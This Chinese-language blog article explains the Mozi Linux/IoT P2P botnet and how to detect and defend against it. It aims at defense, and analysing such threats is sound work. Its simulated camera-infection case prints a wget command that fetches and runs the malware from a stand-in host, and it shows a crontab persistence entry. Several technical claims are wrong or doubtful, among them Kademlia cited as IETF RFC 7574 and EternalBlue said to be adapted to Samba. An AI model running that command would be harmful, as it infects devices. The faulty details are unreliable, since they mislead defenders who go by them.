深入剖析 Linux Mozi 僵尸网络：技术原理、检测与防御实践

随着物联网（IoT）设备的普及和 Linux 服务器的广泛应用，针对 Linux 系统的恶意软件威胁日益严峻。Mozi 僵尸网络作为近年来活跃的代表性恶意程序，凭借其独特的 P2P（对等网络）架构、多向量传播能力和强大的攻击功能，已成为网络安全领域的重大隐患。本文将从技术角度深度解析 Mozi 的起源、架构、传播机制、功能特性，结合实际案例提供检测方法与防御最佳实践，帮助读者全面理解并有效应对这一威胁。

目录#

  1. 什么是僵尸网络？
  2. Mozi 僵尸网络概述
  3. 技术架构解析
    • 3.1 核心组件
    • 3.2 P2P 网络设计
    • 3.3 通信协议与加密
  4. 传播机制与感染流程
    • 4.1 攻击向量
    • 4.2 漏洞利用与暴力破解
    • 4.3 持久化技术
  5. 恶意功能与危害
    • 5.1 DDoS 攻击
    • 5.2 credential 窃取与横向移动
    • 5.3 其他恶意行为
  6. 检测方法与指标（IOCs）
    • 6.1 行为特征检测
    • 6.2 网络流量分析
    • 6.3 常用检测工具与命令
  7. 防御与缓解最佳实践
    • 7.1 网络层防护
    • 7.2 终端安全加固
    • 7.3 事件响应流程
  8. 实战案例：Mozi 感染与检测模拟
  9. 总结
  10. 参考资料

1. 什么是僵尸网络？#

僵尸网络（Botnet） 是由大量受感染设备（称为“僵尸节点”或“肉鸡”）组成的分布式网络，这些设备被恶意软件控制，可通过远程命令执行统一攻击。传统僵尸网络依赖中心化的 C2（命令与控制）服务器 下发指令，但现代僵尸网络（如 Mozi）多采用 P2P 架构，通过节点间直接通信实现去中心化控制，大幅提升了抗摧毁能力。

2. Mozi 僵尸网络概述#

Mozi 首次于 2019 年被安全研究人员发现，其名称源于恶意程序中硬编码的字符串“mozi”。它融合了 Mirai（针对 IoT 设备的经典僵尸网络）和 Gafgyt（以 DDoS 攻击著称）的技术特性，主要针对 Linux 系统（包括服务器、IoT 设备如摄像头、路由器等）。

核心特点：#

  • 跨平台性：支持 x86、ARM、MIPS 等多种架构，覆盖 PC、服务器及 IoT 设备。
  • P2P 去中心化：无固定 C2 服务器，节点通过分布式哈希表（DHT）自主发现和通信。
  • 多模传播：结合漏洞利用、暴力破解、横向移动等多种感染手段。
  • 持久化能力：通过篡改系统配置、伪装合法进程实现长期驻留。

3. 技术架构解析#

3.1 核心组件#

Mozi 僵尸网络由以下关键组件构成：

  • 僵尸节点（Bot）：受感染设备上运行的恶意程序，负责执行攻击指令、传播自身及维持 P2P 连接。
  • P2P 网络模块：实现节点发现、数据同步和命令分发，基于 Kademlia DHT 协议构建分布式网络。
  • 传播模块：包含扫描器、漏洞利用工具和暴力破解引擎，用于感染新设备。
  • 攻击模块：支持多种 DDoS 攻击（TCP/UDP Flood、SYN Flood 等）及其他恶意操作。

3.2 P2P 网络设计#

Mozi 摒弃了传统 C2 架构，采用 P2P 网络实现去中心化控制，核心机制如下：

  • 节点发现：新节点通过内置的“种子节点”（硬编码的 IP/端口）加入网络，再通过 Kademlia DHT 协议查询其他节点。
  • 数据同步：节点定期交换邻居列表、攻击目标和配置信息，确保网络状态一致性。
  • 抗毁伤性：单个节点下线不影响整体网络，新节点可自动填补空缺，难以通过关停服务器彻底清除。

3.3 通信协议与加密#

Mozi 节点间通信采用自定义协议，关键特性包括：

  • 传输层：主要使用 UDP 协议（端口 30000-60000 动态分配），部分场景 fallback 到 TCP。
  • 加密机制：使用 AES-128-CBC 加密通信内容，密钥通过节点握手动态协商，避免流量被轻易解析。
  • 消息格式：数据包包含头部（节点 ID、消息类型）和加密载荷（命令、数据），支持心跳检测、命令下发和结果回传。

4. 传播机制与感染流程#

Mozi 的传播能力是其快速扩张的关键，主要通过以下步骤感染目标设备：

4.1 攻击向量#

Mozi 优先针对开放 SSH（22 端口） 和 Telnet（23 端口） 的设备，同时利用以下漏洞：

  • 永恒之蓝（EternalBlue，MS17-010）：针对 SMBv1 协议的远程代码执行漏洞（虽主要影响 Windows，但 Mozi 变种已适配 Linux Samba 服务）。
  • Apache Struts2 S2-045：远程代码执行漏洞（CVE-2017-5638），影响未补丁的 Struts2 应用。
  • 默认凭证/弱口令：通过字典攻击尝试登录 IoT 设备（如用户名 root，密码 admin/password 等）。

4.2 漏洞利用与暴力破解流程#

  1. 扫描阶段：Mozi 启动后，扫描本地网络或随机 IP 段，检测开放 22/23 端口的设备。
  2. 认证攻击：对目标设备发起 SSH/Telnet 暴力破解，使用内置字典（含数万条常见凭证）尝试登录。
  3. 漏洞利用：若破解失败，尝试利用已知漏洞（如 EternalBlue）直接植入恶意代码。
  4. 文件下载：成功获取权限后，从 P2P 网络或临时 C2 服务器下载 Mozi 二进制文件（命名常伪装为 systemd、mosquitto 等合法进程）。

4.3 持久化技术#

为避免被清除，Mozi 采用多种持久化手段：

  • 篡改启动项：修改 /etc/crontab 添加定时任务（如 * * * * * root /tmp/mozi >/dev/null 2>&1），确保重启后自动运行。
  • 伪装合法进程：将恶意二进制文件命名为 sshd、nginx 等，或替换系统原有程序（如 busybox）。
  • 内核模块劫持：部分变种通过加载恶意内核模块（rootkit）隐藏进程和文件，增强隐蔽性。

5. 恶意功能与危害#

5.1 DDoS 攻击#

Mozi 的核心功能之一是发起分布式拒绝服务（DDoS）攻击，支持多种模式：

  • UDP Flood：向目标发送大量随机 UDP 数据包，耗尽带宽资源。
  • TCP SYN Flood：伪造 TCP 握手请求，使目标服务器半连接队列溢出。
  • HTTP GET/POST Flood：模拟正常用户请求，消耗 Web 服务器 CPU/内存。
  • Slowloris：保持大量不完整 HTTP 连接，长时间占用服务器资源。

5.2 凭证窃取与横向移动#

  • 本地凭证收集：扫描 /etc/passwd、/etc/shadow 文件，提取用户名和哈希值，尝试破解后用于横向渗透。
  • SSH 密钥窃取：搜索 /root/.ssh/authorized_keys 等文件，获取远程登录密钥，感染其他信任设备。

5.3 其他恶意行为#

  • 加密货币挖矿：部分变种植入门罗币（Monero）挖矿程序，占用设备计算资源。
  • 数据窃取：监控网络流量，窃取敏感信息（如摄像头视频流、用户登录凭证）。
  • 勒索攻击：加密设备文件后索要赎金（较少见，但存在此类变种）。

6. 检测方法与指标（IOCs）#

6.1 行为特征检测#

通过以下异常行为可初步判断设备感染 Mozi：

  • 高资源占用：CPU/内存使用率骤升（挖矿或 DDoS 攻击导致）。
  • 异常网络活动：大量出站连接至随机 IP（P2P 通信），或向特定目标发送海量数据包（DDoS）。
  • 未知进程/文件：系统中出现 /tmp/mozi、/var/tmp/systemd 等可疑文件，或名称异常的进程（如 kworker-123）。

6.2 网络流量分析#

关键 IOCs（Indicators of Compromise）：

  • P2P 通信端口：UDP 30000-60000 端口的高频流量（节点间 DHT 查询和数据同步）。
  • 特征字符串：数据包中可能包含 mozi、kad（Kademlia 协议标识）等关键字（加密前）。
  • 已知恶意 IP：参考安全机构发布的 Mozi 节点 IP 列表（如 Abuse.ch 的 Botnet C2 追踪）。

6.3 常用检测工具与命令#

1. 进程与文件检查#

# 查看异常进程（过滤含可疑关键词的进程）
ps aux | grep -E "mozi|systemd|mosquitto|tmp"
 
# 查找最近修改的可疑文件
find /tmp /var/tmp -type f -mtime -1 -exec ls -l {} \;
 
# 检查定时任务
cat /etc/crontab
crontab -l

2. 网络连接监控#

# 查看 UDP 连接（重点关注 30000+ 端口）
netstat -tulpn | grep udp | grep -E ":3[0-9]{4,5}"
 
# 抓包分析（使用 Wireshark 或 tcpdump）
tcpdump -i eth0 udp portrange 30000-60000 -w mozi_traffic.pcap

3. 文件哈希比对#

Mozi 常见恶意文件哈希（SHA256）：

  • a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2（示例，需参考最新 IOC 列表）

7. 防御与缓解最佳实践#

7.1 网络层防护#

  • 防火墙策略：封禁不必要的端口（如 22/23 仅允许可信 IP 访问），限制出站 UDP 流量（尤其 30000+ 端口）。
  • 网络分段：将 IoT 设备与核心业务网络隔离（如通过 VLAN），防止横向移动。
  • 入侵检测/防御系统（IDS/IPS）：部署支持 P2P 流量识别的 IDS（如 Snort、Suricata），阻断 Mozi 传播和攻击流量。

7.2 终端安全加固#

  • 强化认证：禁用 root 远程登录，使用 SSH 密钥认证（替代密码），设置强密码（12 位以上，含大小写、数字和特殊字符）。
  • 最小化服务：关闭未使用的服务（如 Telnet、FTP），卸载不必要的软件（如 telnetd、sshpass）。
  • 定期更新：及时修补系统和应用漏洞（如通过 apt update && apt upgrade），尤其关注 IoT 设备固件更新。
  • 文件完整性监控（FIM）：监控 /etc/crontab、/bin/ 等关键路径，检测异常修改。

7.3 事件响应流程#

  1. 隔离感染设备：断开受感染设备的网络连接，防止其继续传播或发起攻击。
  2. 清除恶意程序：
    • 删除持久化文件（如 /tmp/mozi、/var/spool/cron/crontabs/root）。
    • 恢复被篡改的系统文件（可通过 rpm -V 或 dpkg -V 校验完整性）。
    • 查杀隐藏进程（使用 pstree、lsof 查找父进程并终止）。
  3. 溯源与修复：分析感染入口（如弱口令、漏洞），修补漏洞并重置所有相关凭证。
  4. 恢复与监控：重启设备后，持续监控 24 小时，确认无残留恶意活动。

8. 实战案例：Mozi 感染与检测模拟#

场景：家用 IoT 摄像头感染 Mozi#

感染过程：#

  1. 目标暴露：用户购买的智能摄像头默认开启 Telnet 服务，用户名 root，密码 123456（未修改）。
  2. 扫描与破解：Mozi 僵尸节点扫描到摄像头 IP（192.168.1.100），通过 Telnet 暴力破解成功登录。
  3. 植入恶意程序：执行命令 wget http://p2p-seed.mozi.com/mozi -O /tmp/mozi && chmod +x /tmp/mozi && /tmp/mozi，下载并运行 Mozi。
  4. 持久化与 P2P 连接：Mozi 修改 /etc/crontab 添加定时任务，同时连接 P2P 网络，接收 DDoS 指令。

检测步骤：#

  1. 异常现象：摄像头频繁离线，路由器后台显示其上传流量高达 100Mbps（远超正常使用）。
  2. 进程检查：登录摄像头（通过本地串口或临时开启 SSH），执行 ps aux： 
    root      1234  99.0  5.0  12345  6789 ?        Ss   10:00   2:30 /tmp/mozi
    发现可疑进程 /tmp/mozi，CPU 占用率接近 100%。
  3. 网络验证：执行 netstat -tulpn，发现大量 UDP 连接指向随机 IP（端口 30000-50000），确认 P2P 通信行为。
  4. 文件分析：计算 /tmp/mozi 的 SHA256 哈希，与威胁情报平台（如 VirusTotal）比对，确认匹配 Mozi 样本。

处置措施：#

  • 断开摄像头网络，删除 /tmp/mozi 及 /etc/crontab 中的恶意定时任务。
  • 升级摄像头固件，禁用 Telnet 服务，修改管理员密码为 A!sD@fG#hJ$kL。
  • 在路由器上封禁摄像头的 UDP 出站流量（端口 30000-60000）。

9. 总结#

Mozi 僵尸网络凭借 P2P 架构、多模传播和强持久化能力，已成为威胁 Linux 系统和 IoT 设备的主要恶意程序之一。防御 Mozi 需要从 网络隔离、终端加固、漏洞修补和实时监控 多维度入手，结合 IOC 检测和快速响应机制，才能有效降低感染风险。未来，随着 IoT 设备数量增长，Mozi 等僵尸网络可能进一步演化（如支持更复杂的 P2P 协议、对抗沙箱检测），需持续关注其技术动态并更新防护策略。

10. 参考资料#

  1. 国家计算机病毒应急处理中心. (2020).《Mozi 僵尸网络技术分析报告》.
  2. Trend Micro. (2021). Mozi Botnet: Combining Mirai and Gafgyt Tactics to Expand Its Reach.
  3. SANS Institute. (2022). Detecting and Mitigating P2P Botnets Like Mozi.
  4. Kaspersky Lab. (2020). Mozi: The New Botnet on the Block.
  5. IETF. (2002). Kademlia: A Peer-to-Peer Information System Based on the XOR Metric (RFC 7574).
  6. CVE Details. Common Vulnerabilities and Exposures Related to Mozi. https://cvedetails.com
2025-12